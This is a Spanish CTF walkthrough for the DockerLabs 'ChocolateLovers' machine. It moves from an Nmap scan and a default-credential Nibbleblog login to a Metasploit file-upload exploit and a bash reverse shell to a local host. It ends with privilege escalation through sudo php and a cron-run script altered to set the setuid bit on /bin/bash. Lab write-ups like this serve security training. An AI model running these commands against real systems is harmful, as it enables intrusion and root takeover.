ChocolateLovers
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯 Resolución
🔍 Reconocimiento
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -p- --open --min-rate 5000 -sS -vvv -n -Pn 172.17.0.2 -oG allPorts_
--open: Solo muestra los puertos que están abiertos.--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.-sS: Realiza un escaneo rápido y silencioso para descubrir puertos.-vvv: Muestra los resultados en tiempo real conforme se detectan los puertos.-n: Desactiva la resolución DNS para ahorrar tiempo.-Pn: Ignora si la IP está activa o no (omite el ping previo).-oG: Exporta el resultado en un formato compatible con herramientas comogrepoawk.
El escaneo revela que el servicio HTTP están activos.

Accedemos al sitio web y observamos que se trata de una página de Apache genérica. Esto nos lleva a investigar si existen otros recursos disponibles en el servidor.

🕵️ Análisis de vulnerabilidades
Tras realizar un proceso de fuzzing en la página web, no obtuvimos resultados significativos. Ante esta situación, decidimos inspeccionar el código fuente de la página.

Aquí tienes una versión mejorada:
Al ingresar a la página, observamos que parece existir una ruta a una página llamada admin.php

Hay un login

Probamos acceder utilizando las credenciales por defecto: usuario: admin y contraseña: admin. Sorprendentemente, el acceso fue exitoso.
🎯 Explotación
Buscamos si existe un exploit público para Nibbleblog utilizando el siguiente comando:ç
searchsploit nibbleblog
Entre los resultados, encontramos una vulnerabilidad de Arbitrary File Upload. Decidimos investigar más a fondo en internet para comprender cómo funciona y cómo podemos explotarla.

Descubrimos que la vulnerabilidad está relacionada con un plugin llamado my_image.

Así que tenemos que instalar el plugin

A continuación, procedimos a lanzar el exploit utilizando Metasploit.
msfconsole
use exploit/multi/http/nibbleblog_file_upload
set PASSWORD admin
set USERNAME admin # Establecemos el nombre de usuario como admin.
set RHOSTS 172.17.0.2 # Definimos la dirección IP del objetivo (en este caso, el servidor de Nibbleblog).
set TARGETURI /nibbleblog/ # Establecemos el directorio de destino, donde está alojada la instalación de Nibbleblog.
exploit
Ya estamos dentro de la máquina

Para hacer que la consola sea interactiva, configuramos una reverse shell.
bash -c "bash -i >& /dev/tcp/172.17.0.1/4443 0>&1"
📈 Escalada de privilegios
Una vez dentro del sistema, ejecutamos el comando sudo -l para listar los privilegios de sudo del usuario actual. Esto nos permite identificar qué comandos se pueden ejecutar como administrador sin necesidad de proporcionar una contraseña, lo que podría abrir la puerta a una
sudo -l
Identificamos que tenemos permisos para ejecutar el comando php como el usuario chocolate, lo cual podría ser aprovechado para escalar privilegios. Al consultar la página de GTFOBins, descubrimos que, utilizando el siguiente comando, podemos obtener privilegios de administrador:
CMD="/bin/sh"
sudo php -r "system('$CMD');"

Ya hemos iniciado sesión como el usuario chocolate. Ejecutamos nuevamente el comando sudo -l para verificar los privilegios disponibles y explorar posibles vectores de escalada de privilegios. Sin embargo, en esta ocasión, el sistema solicita una contraseña, lo que impide que podamos utilizar el comando.

Otra opción es buscar archivos con permisos especiales mediante su ID utilizando el comando:
find / -perm -4000 -ls 2> /dev/null
Sin embargo, al ejecutar este comando, no encontramos nada interesante que pueda ser aprovechado.
Para ver qué procesos están activos, utilizamos el siguiente comando:
ps -faux
Parece que se está ejecutando un proceso con el siguiente comando:
`while true; do php /opt/script.php; sleep 5; done
Este es un bucle infinito while que ejecuta el script script.php ubicado en /opt/ cada 5 segundos. El proceso se desglosa de la siguiente manera:
php /opt/script.php: Ejecuta el archivoscript.phputilizando el intérprete de PHP.sleep 5: Introduce una pausa de 5 segundos entre cada ejecución del script.
Veamos el fichero/opt/script.php

A continuación, modificamos el script para otorgar permisos de root al usuario chocolate ejecutando el siguiente comando:
echo "echo '<?php exec(\"chmod u+s /bin/bash\"); ?>' > /opt/script.php"
Este comando sobrescribe el archivo script.php en /opt/ con código PHP que, cuando la tarea programada ejecute el script automáticamente, cambiará los permisos de /bin/bash al agregar el bit setuid.
A continuación, ejecutamos el siguiente comando para escalar privilegios:
bash -p
Este comando inicia una nueva sesión de bash con privilegios elevados, aprovechando el bit setuid previamente configurado en /bin/bash.
